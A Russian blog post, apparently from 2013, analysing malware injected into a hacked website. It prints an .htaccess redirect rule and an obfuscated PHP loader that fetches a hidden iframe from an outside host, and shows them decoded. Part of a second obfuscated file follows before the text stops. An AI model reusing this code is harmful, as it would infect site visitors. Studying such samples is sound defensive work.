Пользователь
0,0
рейтинг
21 июня 2013 в 17:13

Разработка → Моё маленькое расследование или История одного взлома

Всё началось с сообщения «Тут?» от моего друга в одной из социальных сетей. «Яндекс нашёл на сайте вирусы. Глянешь?» «Отчего ж не глянуть», подумал я.
Так началось моё трёхдневное исследование скриптов, дабы понять суть взлома и что там вообще происходит.

Яндекс ругался на «Поведенческий анализ».
Первым делом осмотрел .htaccess — в начало файла оказались дописаны строки:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|yandex|ya|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace|web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline)\.(.*)
RewriteCond %{HTTP_USER_AGENT} ^.*(msie|opera) [NC]
RewriteCond %{REQUEST_FILENAME} !/index_backup.php
RewriteRule (.*) /index_backup.php?query=$1 [QSA,L]
</IfModule>

Тут всё просто — все пользователи, что перешли на наш сайт с поисковиков, каталогов и пр. и использовали для просмотра браузера Opera или Internet Explorer, перенаправляются на некую страницу index_backup.php.
Содержимое этой страницы — одна строка. Но какая! (Здесь и далее код буду прятать под спойлеры, дабы не нагромождать).
содержимое файла
<? $GLOBALS['_62805507_']=Array(base64_decode(''.'ZG'.'VmaW5'.'l'),base64_decode('ZmlsZV'.'9nZ'.'XRfY29'.'u'.'dGV'.'udHM'.'='),base64_decode('c3RyZ'.'WFtX'.'2Nvbn'.'RleHR'.'fY3JlYXR'.'l'),base64_decode(''.'Zml'.'sZV9nZ'.'X'.'RfY29'.'udGVudHM='),base64_decode('c3'.'R'.'ybmF0'.'Y21'.'w'),base64_decode('bXRfcmFuZ'.'A='.'='),base64_decode('ZnB1dHM='),base64_decode('ZnJlYWQ'.'='),base64_decode('ZmN'.'sb3N'.'l'),base64_decode('c3RycG9z'),base64_decode('YW'.'RkY3NsYX'.'N'.'oZXM='),base64_decode('Z'.'mZsdXNo'),base64_decode(''.'c3V'.'ic3Ry'),base64_decode('Zm'.'lsZV'.'9'.'nZXRfY29udGVu'.'dH'.'M='),base64_decode('YXJyY'.'XlfZm'.'lsbF9rZXlz'),base64_decode(''.'Y3Vyb'.'F9pbml0'),base64_decode('Y3VybF9tdWx0aV9leGVj'),base64_decode('YXJyY'.'Xlfc'.'HVzaA=='),base64_decode('Y3VybF9zZXRvc'.'HQ'.'='),base64_decode('bXRf'.'cmFuZ'.'A=='),base64_decode('aW1hZ'.'2VjcmVhdGVmcm9'.'tZ2lm'),base64_decode('Y3'.'Vy'.'bF9'.'zZX'.'RvcH'.'Q'.'='),base64_decode('Y3VybF9zZX'.'Rvc'.'HQ='),base64_decode('Y3'.'Vy'.'bF'.'9l'.'eG'.'Vj'),base64_decode('Y3'.'Vy'.'bF9jbG9z'.'Z'.'Q=='),base64_decode(''.'aW5pX2d'.'ldA='.'='),base64_decode('c'.'GFyc2VfdX'.'Js'),base64_decode('ZnNv'.'Y2tv'.'cGVu'),base64_decode('ZnV'.'uY3R'.'p'.'b'.'2'.'5f'.'Z'.'Xh'.'pc'.'3Rz')); ?><? function _1051993851($i){$a=Array('SUZ'.'SQU1FX1'.'V'.'S'.'T'.'A==','aH'.'R0c'.'DovL3d'.'vcmRwcmV'.'zc3Rlc3Qu'.'aW'.'5m'.'by83Ln'.'R4'.'d'.'A='.'=',''.'ZA==','aHR0cDovLw='.'=','S'.'F'.'RUU'.'F9IT1NU','Uk'.'VRVU'.'VTV'.'F'.'9VUkk'.'=','a'.'HR0'.'cA==','dGltZW91dA==','R'.'0VUIA==',''.'Pw='.'=','I'.'CB'.'IVFRQLzEuMA0K','VXNlci1BZ2VudDo'.'gTW96'.'a'.'WxsYS81L'.'jAgKFd'.'p'.'bmRvd3M7IFU7IFdpbmRvd'.'3MgT'.'lQgN'.'S4xO'.'yBl'.'b'.'i1V'.'UzsgcnY6MS44LjA'.'uMykgR2'.'Vj'.'a2'.'8v'.'MjAwNjA0'.'M'.'jYgRmlyZW'.'ZveC8x'.'LjUuM'.'C4zDQo=',''.'QW'.'NjZXB0'.'OiAqLyoNCg='.'=','QWNjZXB0'.'LUxhb'.'md1YWdlOiBlbi11cyxlbjt'.'xPTAuNQ0K','QWN'.'jZXB'.'0L'.'UNo'.'YXJz'.'ZX'.'Q6IElTTy04'.'ODU5LTEsdXR'.'mLTg7cT'.'0wLjcs'.'Kjt'.'xPTAu'.'Nw0K','S2VlcC'.'1'.'Bb'.'Gl'.'2'.'ZT'.'ogMzA'.'w'.'D'.'Qo=',''.'Q29'.'ubmVjd'.'Glv'.'bjoga'.'2Vl'.'cC1hbGl2ZQ0K','aQ==','DQoNC'.'g==','Y'.'Wxsb3df'.'dXJsX'.'2ZvcG'.'Vu','aG9zd'.'A==','aG9zd'.'A==','cGF0aA==','cXVl'.'c'.'nk=',''.'Y3VybF9pbm'.'l0');return base64_decode($a[$i]);} ?><?php $GLOBALS['_62805507_'][0](_1051993851(0),_1051993851(1));$_0=_1051993851(2);echo l__3(IFRAME_URL);$_1=round(0+2345.5+2345.5);echo@$GLOBALS['_62805507_'][1](_1051993851(3) .$_SERVER[_1051993851(4)] .$_SERVER[_1051993851(5)]);function l__0($_2){$_3=$GLOBALS['_62805507_'][2](array(_1051993851(6)=> array(_1051993851(7)=> round(0+3+3+3+3+3))));return $GLOBALS['_62805507_'][3]($_2,false,$_3);(round(0+3799)-round(0+759.8+759.8+759.8+759.8+759.8)+round(0+3457)-round(0+3457))?$GLOBALS['_62805507_'][4]($_4,$_3):$GLOBALS['_62805507_'][5](round(0+767.33333333333+767.33333333333+767.33333333333),round(0+1266.3333333333+1266.3333333333+1266.3333333333));}function l__1($_5,$_6,$_7,$_8){$GLOBALS['_62805507_'][6]($_5,_1051993851(8) .$_7 ._1051993851(9) .$_8 ._1051993851(10) ."Host: $_6\r\n" ._1051993851(11) ._1051993851(12) ._1051993851(13) ._1051993851(14) ._1051993851(15) ._1051993851(16) ."Referer: http://$_6\r\n\r\n");while($_4=$GLOBALS['_62805507_'][7]($_5,round(0+1365.3333333333+1365.3333333333+1365.3333333333))){$_9 .= $_4;}$GLOBALS['_62805507_'][8]($_5);$_10=_1051993851(17);$_11=$GLOBALS['_62805507_'][9]($_9,_1051993851(18));if((round(0+968.25+968.25+968.25+968.25)^round(0+1291+1291+1291))&& $GLOBALS['_62805507_'][10]($_5,$_2,$_5,$_7))$GLOBALS['_62805507_'][11]($_12,$_7,$_11);$_9=$GLOBALS['_62805507_'][12]($_9,$_11+round(0+1.3333333333333+1.3333333333333+1.3333333333333));if((round(0+1014.5+1014.5+1014.5+1014.5)^round(0+4058))&& $GLOBALS['_62805507_'][13]($_3,$_3,$_3))$GLOBALS['_62805507_'][14]($_13);return $_9;}function l__2($_2){$_13=$GLOBALS['_62805507_'][15]($_2);if((round(0+736.6+736.6+736.6+736.6+736.6)+round(0+312+312+312))>round(0+3683)|| $GLOBALS['_62805507_'][16]($_14));else{$GLOBALS['_62805507_'][17]($_11);}$GLOBALS['_62805507_'][18]($_13,42,FALSE);if(round(0+3068.5+3068.5)<$GLOBALS['_62805507_'][19](round(0+572.33333333333+572.33333333333+572.33333333333),round(0+4415)))$GLOBALS['_62805507_'][20]($_2,$_15,$_16);$GLOBALS['_62805507_'][21]($_13,19913,TRUE);$GLOBALS['_62805507_'][22]($_13,13,round(0+3+3+3+3+3));$_12=$GLOBALS['_62805507_'][23]($_13);$GLOBALS['_62805507_'][24]($_13);return $_12;}function l__3($_2){if($GLOBALS['_62805507_'][25](_1051993851(19))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){echo l__0($_2);}else{$_14=$GLOBALS['_62805507_'][26]($_2);if($_5=@$GLOBALS['_62805507_'][27]($_14[_1051993851(20)],round(0+40+40),$_15,$_16,round(0+3+3+3+3+3))){echo l__1($_5,$_14[_1051993851(21)],$_14[_1051993851(22)],$_14[_1051993851(23)]);}elseif(@$GLOBALS['_62805507_'][28](_1051993851(24))){echo l__2($_2);}}}

После добавления переносов код стал немного более читабелен, но совсем не стал понятнее:
содержимое отредактированного файла
<? 
$GLOBALS['_62805507_']=Array(
	base64_decode('ZGVmaW5l'), 
	base64_decode('ZmlsZV9nZXRfY29udGVudHM='), 
	base64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'),
	base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
	base64_decode('c3RybmF0Y21w'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('ZnB1dHM='),
	base64_decode('ZnJlYWQ='),
	base64_decode('ZmNsb3Nl'),
	base64_decode('c3RycG9z'),
	base64_decode('YWRkY3NsYXNoZXM='),
	base64_decode('ZmZsdXNo'),
	base64_decode('c3Vic3Ry'),
	base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
	base64_decode('YXJyYXlfZmlsbF9rZXlz'),
	base64_decode('Y3VybF9pbml0'),
	base64_decode('Y3VybF9tdWx0aV9leGVj'),
	base64_decode('YXJyYXlfcHVzaA=='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('Y3VybF9leGVj'),
	base64_decode('Y3VybF9jbG9zZQ=='),
	base64_decode('aW5pX2dldA=='),
	base64_decode('cGFyc2VfdXJs'),
	base64_decode('ZnNvY2tvcGVu'),
	base64_decode('ZnVuY3Rpb25fZXhpc3Rz'));
	?>
<? 
function _1051993851($i){
	$a=Array(
	'SUZSQU1FX1VSTA==',
	'aHR0cDovL3dvcmRwcmVzc3Rlc3QuaW5mby83LnR4dA==',
	'ZA==',
	'aHR0cDovLw==',
	'SFRUUF9IT1NU',
	'UkVRVUVTVF9VUkk=',
	'aHR0cA==',
	'dGltZW91dA==',
	'R0VUIA==',
	'Pw==',
	'ICBIVFRQLzEuMA0K',
	'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=',
	'QWNjZXB0OiAqLyoNCg==',
	'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K',
	'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K',
	'S2VlcC1BbGl2ZTogMzAwDQo=',
	'Q29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0K',
	'aQ==',
	'DQoNCg==',
	'YWxsb3dfdXJsX2ZvcGVu',
	'aG9zdA==',
	'aG9zdA==',
	'cGF0aA==',
	'cXVlcnk=',
	'Y3VybF9pbml0');
return base64_decode($a[$i]);
} 
?>
<?php 
$GLOBALS['_62805507_'][0](_1051993851(0),_1051993851(1));
$_0=_1051993851(2);
echo l__3(IFRAME_URL);
$_1=round(0+2345.5+2345.5);
echo@$GLOBALS['_62805507_'][1](_1051993851(3) .$_SERVER[_1051993851(4)] .$_SERVER[_1051993851(5)]);

function l__0($_2){
	$_3=$GLOBALS['_62805507_'][2](array(_1051993851(6)=> array(_1051993851(7)=> round(0+3+3+3+3+3))));
	return $GLOBALS['_62805507_'][3]($_2,false,$_3);
	(round(0+3799)-round(0+759.8+759.8+759.8+759.8+759.8)+round(0+3457)-round(0+3457))?$GLOBALS['_62805507_'][4]($_4,$_3):$GLOBALS['_62805507_'][5](round(0+767.33333333333+767.33333333333+767.33333333333),round(0+1266.3333333333+1266.3333333333+1266.3333333333));
}

function l__1($_5,$_6,$_7,$_8){
	$GLOBALS['_62805507_'][6]($_5,_1051993851(8) .$_7 ._1051993851(9) .$_8 ._1051993851(10) ."Host: $_6\r\n" ._1051993851(11) ._1051993851(12) ._1051993851(13) ._1051993851(14) ._1051993851(15) ._1051993851(16) ."Referer: http://$_6\r\n\r\n");
	while($_4=$GLOBALS['_62805507_'][7]($_5,round(0+1365.3333333333+1365.3333333333+1365.3333333333))){
		$_9 .= $_4;
	}
	$GLOBALS['_62805507_'][8]($_5);
	$_10=_1051993851(17);
	$_11=$GLOBALS['_62805507_'][9]($_9,_1051993851(18));
	if((round(0+968.25+968.25+968.25+968.25)^round(0+1291+1291+1291))&& $GLOBALS['_62805507_'][10]($_5,$_2,$_5,$_7))$GLOBALS['_62805507_'][11]($_12,$_7,$_11);
	$_9=$GLOBALS['_62805507_'][12]($_9,$_11+round(0+1.3333333333333+1.3333333333333+1.3333333333333));
	if((round(0+1014.5+1014.5+1014.5+1014.5)^round(0+4058))&& $GLOBALS['_62805507_'][13]($_3,$_3,$_3))$GLOBALS['_62805507_'][14]($_13);
	return $_9;
}

function l__2($_2){
	$_13=$GLOBALS['_62805507_'][15]($_2);
	if((round(0+736.6+736.6+736.6+736.6+736.6)+round(0+312+312+312))>round(0+3683)|| $GLOBALS['_62805507_'][16]($_14));
	else{
		$GLOBALS['_62805507_'][17]($_11);
	}
	$GLOBALS['_62805507_'][18]($_13,42,FALSE);
        if(round(0+3068.5+3068.5)<$GLOBALS['_62805507_'][19](round(0+572.33333333333+572.33333333333+572.33333333333),round(0+4415)))$GLOBALS['_62805507_'][20]($_2,$_15,$_16);
	$GLOBALS['_62805507_'][21]($_13,19913,TRUE);
        $GLOBALS['_62805507_'][22]($_13,13,round(0+3+3+3+3+3));
	$_12=$GLOBALS['_62805507_'][23]($_13);
	$GLOBALS['_62805507_'][24]($_13);
	return $_12;
}

function l__3($_2){
	if($GLOBALS['_62805507_'][25](_1051993851(19))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){
		echo l__0($_2);
	}else{
		$_14=$GLOBALS['_62805507_'][26]($_2);
		if($_5=@$GLOBALS['_62805507_'][27]($_14[_1051993851(20)],round(0+40+40),$_15,$_16,round(0+3+3+3+3+3))){
			echo l__1($_5,$_14[_1051993851(21)],$_14[_1051993851(22)],$_14[_1051993851(23)]);
		}elseif(@$GLOBALS['_62805507_'][28](_1051993851(24))){
			echo l__2($_2);
		}
	}
}

?>

Пришло время раскодировать полученный код:
содержимое файла
<? 
$GLOBALS['_62805507_']=Array(
 //	   [0] => define
 //    [1] => file_get_contents
 //    [2] => stream_context_create
 //    [3] => file_get_contents
 //    [4] => strnatcmp
 //    [5] => mt_rand
 //    [6] => fputs
 //    [7] => fread
 //    [8] => fclose
 //    [9] => strpos
 //    [10] => addcslashes
 //    [11] => fflush
 //    [12] => substr
 //    [13] => file_get_contents
 //    [14] => array_fill_keys
 //    [15] => curl_init
 //    [16] => curl_multi_exec
 //    [17] => array_push
 //    [18] => curl_setopt
 //    [19] => mt_rand
 //    [20] => imagecreatefromgif
 //    [21] => curl_setopt
 //    [22] => curl_setopt
 //    [23] => curl_exec
 //    [24] => curl_close
 //    [25] => ini_get
 //    [26] => parse_url
 //    [27] => fsockopen
 //    [28] => function_exists
	base64_decode('ZGVmaW5l'), 
	base64_decode('ZmlsZV9nZXRfY29udGVudHM='), 
	base64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'),
	base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
	base64_decode('c3RybmF0Y21w'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('ZnB1dHM='),
	base64_decode('ZnJlYWQ='),
	base64_decode('ZmNsb3Nl'),
	base64_decode('c3RycG9z'),
	base64_decode('YWRkY3NsYXNoZXM='),
	base64_decode('ZmZsdXNo'),
	base64_decode('c3Vic3Ry'),
	base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
	base64_decode('YXJyYXlfZmlsbF9rZXlz'),
	base64_decode('Y3VybF9pbml0'),
	base64_decode('Y3VybF9tdWx0aV9leGVj'),
	base64_decode('YXJyYXlfcHVzaA=='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('Y3VybF9leGVj'),
	base64_decode('Y3VybF9jbG9zZQ=='),
	base64_decode('aW5pX2dldA=='),
	base64_decode('cGFyc2VfdXJs'),
	base64_decode('ZnNvY2tvcGVu'),
	base64_decode('ZnVuY3Rpb25fZXhpc3Rz'));
	?>
<? 
function _1051993851($i){
	$a=Array(
	// [0] => IFRAME_URL
    // [1] => http://wordpresstest.info/7.txt
    // [2] => d
    // [3] => http://
    // [4] => HTTP_HOST
    // [5] => REQUEST_URI
    // [6] => http
    // [7] => timeout
    // [8] => GET 
    // [9] => ?
    // [10] =>   HTTP/1.0

    // [11] => User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3

    // [12] => Accept: */*

    // [13] => Accept-Language: en-us,en;q=0.5

    // [14] => Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

    // [15] => Keep-Alive: 300

    // [16] => Connection: keep-alive

    // [17] => i
    // [18] => 


    // [19] => allow_url_fopen
    // [20] => host
    // [21] => host
    // [22] => path
    // [23] => query
    // [24] => curl_init
	'SUZSQU1FX1VSTA==',
	'aHR0cDovL3dvcmRwcmVzc3Rlc3QuaW5mby83LnR4dA==',
	'ZA==',
	'aHR0cDovLw==',
	'SFRUUF9IT1NU',
	'UkVRVUVTVF9VUkk=',
	'aHR0cA==',
	'dGltZW91dA==',
	'R0VUIA==',
	'Pw==',
	'ICBIVFRQLzEuMA0K',
	'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=',
	'QWNjZXB0OiAqLyoNCg==',
	'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K',
	'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K',
	'S2VlcC1BbGl2ZTogMzAwDQo=',
	'Q29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0K',
	'aQ==',
	'DQoNCg==',
	'YWxsb3dfdXJsX2ZvcGVu',
	'aG9zdA==',
	'aG9zdA==',
	'cGF0aA==',
	'cXVlcnk=',
	'Y3VybF9pbml0');
return base64_decode($a[$i]);
} 
?>
<?php 

defined(IFRAME_URL, "http://wordpresstest.info/7.txt");
$_0 = "d"; //мусор
echo l__3(IFRAME_URL);
$_1 = 4691; //мусор
echo @file_get_contents("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);

function l__0 ($iframeurl) { // получение данных из файла с помощью file_get_contents
    $socket_options = stream_context_create(array("http" => array("timeout" => 15)));
    return file_get_contents($iframeurl, false, $_3);

    // ф-ия уже вернула ответ. То, что ниже - мусор, дабы запутать.
    if (0){
    	strnatcmp($_4, $_3);
    } else {
    	mt_rand(2302,3799);
    }

}

function l__1 ($socket, $host, $path, $query) { // получение данных из файла с помощью fsockopen
    fputs($socket,
        "GET ".$path."?".$query." HTTP 1.0\r\n".
        "Host: $host\r\n".
        "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\n".
        "Accept: */*\r\n".
        "Accept-Language: en-us,en;q=0.5\r\n".
        "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n".
        "Keep-Alive: 300\r\n".
        "Connection: keep-alive\r\n".
        "Referer: http://$host\r\n\r\n"
    );
    while($buffer = fread($socket, 4096)) {
        $response .= $buffer;
    }
    fclose($socket);

    $_10 = "i"; // мусор

    $header_end = strpos($response, "\r\n\r\n");

    // мусор
    if (0 && addcslashes($_5,$_2,$_5,$_7)){
        fflush($_12,$_7,$_11);
    }

    $response = substr($response, $header_end + 4);

    //мусор
    if(0 && file_get_contents($_3,$_3,$_3)){
        array_fill_keys($_13);
    }

    return $response;
}

function l__2 ($iframeurl) { // получение данных из файла с помощью curl
    $curl = curl_init($iframeurl);

    //мусор
    if (4619>3683 || curl_multi_exec($_14));
    else {
        array_push($_11);
    }

    curl_setopt($curl, 42, FALSE);

    // мусор
    if (6137 < mt_rand(1717, 4415)){
        imagecreatefromgif($_2,$_15,$_16);
    }

    curl_setopt($curl, 19913, TRUE);
    curl_setopt($curl, 13, 15);
    $response = curl_exec($curl);
    curl_close($curl);
    return $response;
}

function l__3 ($iframeurl) { // выбор способа для получения данных из файла
    if (ini_get("allow_url_fopen") == 1) {
        echo l__0($iframeurl);
    } else {
        $parsed = parse_url($iframeurl);
        if($socket = @fsockopen($parsed["host"], 80, $garbage_variable1, $garbage_variable2, 15)) {
            echo l__1($socket, $parsed["host"], $parsed["path"], $parsed["query"]);
        } elseif (@function_exists("curl_init")) {
            echo l__2($iframeurl);
        }
    }
}
?>


И удалить всё лишнее:

<?php 
defined(IFRAME_URL, "http://wordpresstest.info/7.txt");
echo l__3(IFRAME_URL);
echo @file_get_contents("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);

function l__0 ($iframeurl) { // получение данных из файла с помощью file_get_contents
    $socket_options = stream_context_create(array("http" => array("timeout" => 15)));
    return file_get_contents($iframeurl, false, $_3);
}

function l__1 ($socket, $host, $path, $query) { // получение данных из файла с помощью fsockopen
    fputs($socket,
        "GET ".$path."?".$query." HTTP 1.0\r\n".
        "Host: $host\r\n".
        "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\n".
        "Accept: */*\r\n".
        "Accept-Language: en-us,en;q=0.5\r\n".
        "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n".
        "Keep-Alive: 300\r\n".
        "Connection: keep-alive\r\n".
        "Referer: http://$host\r\n\r\n"
    );
    while($buffer = fread($socket, 4096)) {
        $response .= $buffer;
    }
    fclose($socket);
    $header_end = strpos($response, "\r\n\r\n");
    $response = substr($response, $header_end + 4);
    return $response;
}

function l__2 ($iframeurl) { // получение данных из файла с помощью curl
    $curl = curl_init($iframeurl);
    curl_setopt($curl, 42, FALSE);
    curl_setopt($curl, 19913, TRUE);
    curl_setopt($curl, 13, 15);
    $response = curl_exec($curl);
    curl_close($curl);
    return $response;
}

function l__3 ($iframeurl) { // выбор способа для получения данных из файла
    if (ini_get("allow_url_fopen") == 1) {
        echo l__0($iframeurl);
    } else {
        $parsed = parse_url($iframeurl);
        if($socket = @fsockopen($parsed["host"], 80, $garbage_variable1, $garbage_variable2, 15)) {
            echo l__1($socket, $parsed["host"], $parsed["path"], $parsed["query"]);
        } elseif (@function_exists("curl_init")) {
            echo l__2($iframeurl);
        }
    }
}
?>


Из кода ясно, что скрипт пытается любым возможным (из трёх предложенных) способом получить данные, расположенные по адресу wordpresstest.info/7.txt (браузеры и антивирусы могут ругаться при посещении). На данной странице находится всего одна строчка — однопиксельный невидимый фрейм, адрес в котором меняется раз в минуту.

<iframe src="http://raynesparkcarbootsale.co.uk/vmyehem.php" width=1 height=1 style="visibility: hidden"></iframe>

При переходе по данному адресу мы увидим белый экран с 2 символами (1z / 2z / 3z / 4z), меняющимися в зависимости от используемых браузера и операционной системы.

Поняв, что адрес постоянно меняется, я написал маленький скрипт, который раз в минуту (по cron'у) стучался к файлу 7.txt, забирал из него адрес сайта и писал в базу.
Через несколько часов, мой наглый DDOS был, судя по всему, замечен и доступ моему скрипту был заблокирован. Но он успел успешно спарсить около 400 адресов, в которых оказалось порядка 20-30 доменов в зоне .ru.
Добраться до этого момента было не трудно — расшифровать код хоть и не быстро, но не сложно. А что делать дальше? Доступа к серверам, на которых расположены сайты из ссылки в файле 7.txt, у меня нет. А что делать, если доступа нет? Его надо попросить! Ну или хотя бы уговорить владельца отдать скрипт, на который ссылается фрейм.
Именно этот шаг оказался самым трудным — объяснить владельцу сайта, что я не взламывал его сайт, не хочу ему что-то продать, это не мой скрип и я не кодировал никаких его личных данных. Я просто хочу разобраться…
В конце концов, один из владельцев сайтов согласился отправить мне файл, понадеявшись, что на нём это не скажется как-либо отрицательно. Спасибо ему за это!
содержимое второго файла
<? $GLOBALS['_664181862_']=Array(base64_decode('Z'.'GVmaW5l'),base64_decode('c3RydG9'.'sb3dl'.'cg=='),base64_decode('a'.'W1'.'hZ2'.'Vj'.'c'.'mVhd'.'GV'.'mc'.'m9tZ2lm'),base64_decode('bX'.'RfcmFuZA=='),base64_decode('c'.'3'.'Ryc'.'G9z'),base64_decode('c3RycG9'.'z'),base64_decode('c3RydG9sb3'.'dlc'.'g=='),base64_decode('c3R'.'yX3JlcG'.'xh'.'Y'.'2'.'U='),base64_decode('dXJ'.'sZW'.'5jb'.'2Rl'),base64_decode('dX'.'JsZW5jb2Rl'),base64_decode('aGVhZG'.'Vy'),base64_decode('d'.'HJpbQ='.'='),base64_decode('aW'.'5pX2dldA'.'=='),base64_decode('cG'.'F'.'yc2VfdX'.'Js'),base64_decode(''.'ZnN'.'vY2tvcGVu'),base64_decode('Z'.'nVuY3R'.'pb'.'2'.'5fZX'.'hpc3'.'Rz'),base64_decode('c3RyZWFtX2'.'NvbnRleHR'.'f'.'Y3J'.'lY'.'XRl'),base64_decode('Y'.'XJyYXlf'.'cmVkdWNl'),base64_decode(''.'ZmZsdXNo'),base64_decode('Zmls'.'ZV9nZXRf'.'Y2'.'9udGVudH'.'M='),base64_decode('Z'.'n'.'B1dHM='),base64_decode(''.'c'.'3RybG'.'Vu'),base64_decode('b'.'XR'.'fcm'.'FuZA=='),base64_decode(''.'Y'.'XJyYXlfZmlsbA=='),base64_decode(''.'ZnJl'.'YWQ'.'='),base64_decode('ZmNs'.'b'.'3Nl'),base64_decode('c3'.'RycG9z'),base64_decode('bXRf'.'cmFuZA=='),base64_decode(''.'Y'.'XJ'.'yYXlfZmx'.'pc'.'A=='),base64_decode('c3'.'Vic3Ry'),base64_decode('Y3VybF9pbml0'),base64_decode(''.'c'.'3'.'Vic3Ry'),base64_decode(''.'b'.'XRfcmF'.'uZA'.'=='),base64_decode('Y3Vyb'.'F9zZXR'.'v'.'cH'.'Q'.'='),base64_decode('Y3Vy'.'bF9zZ'.'XRvcHQ'.'='),base64_decode('cH'.'Jl'.'Z19'.'yZ'.'XB'.'sYW'.'Nl'),base64_decode('Z'.'nJ'.'lYWQ='),base64_decode('Y'.'3V'.'ybF9zZXRvcHQ='),base64_decode('Y3'.'VybF9zZ'.'X'.'R'.'vcHQ'.'='),base64_decode('c'.'3Ry'.'d'.'mFs'),base64_decode(''.'YXJy'.'YX'.'lf'.'bWVy'.'Z2'.'U='),base64_decode(''.'Y3VybF9'.'l'.'e'.'GVj'),base64_decode(''.'Y3'.'VybF9j'.'bG9zZ'.'Q==')); ?><? function _724562126($i){$a=Array('QU'.'RN'.'SU5'.'fU'.'k'.'VESVJfVVJM','aHR0cDov'.'L3'.'R'.'lc3QuY'.'3VzdG9tc2V'.'4Y2Ftcy5jb20vcmIvZ2V0X3'.'V'.'ybC5waH'.'A=','SFRUUF'.'9VU'.'0VSX'.'0F'.'HR'.'U5U','SF'.'RUU'.'F9VU'.'0V'.'SX0FH'.'RU5U','','d'.'2luZG'.'93cw='.'=','MXo'.'=','b3Blcm'.'EvOS44MA='.'=','bXNpZSAxMA'.'==','bX'.'NpZSA5','bXNpZSA4','bXNpZSA3','Mno=','SFRU'.'UF9SRUZFUk'.'V'.'S','SF'.'RUUF'.'9SRU'.'ZFUkVS','','M'.'3'.'o=','SFRUUF9'.'I'.'T1N'.'U',''.'SFR'.'U'.'UF9IT'.'1NU','SFRUUF9I'.'T1NU','d3d3'.'Lg==','','SFRU'.'UF9IT1NU','ZD0'.'=','SF'.'R'.'UUF9IT1'.'N'.'U',''.'Og==','U'.'kVNT1'.'R'.'F'.'X0'.'FERFI'.'=','Og==','Q'.'kFE','NHo=','TG9'.'jY'.'XRpb2'.'46'.'IA==','Y'.'Wxs'.'b3dfdXJsX2Z'.'vcGVu','a'.'G9zd'.'A==','aG9zdA='.'=','cGF0aA='.'=','Y3VybF9pb'.'ml0','aHR0'.'cA==','bWV'.'0aG9'.'k','UE9TVA==','a'.'GV'.'hZGVy','Q29udG'.'VudC1'.'U'.'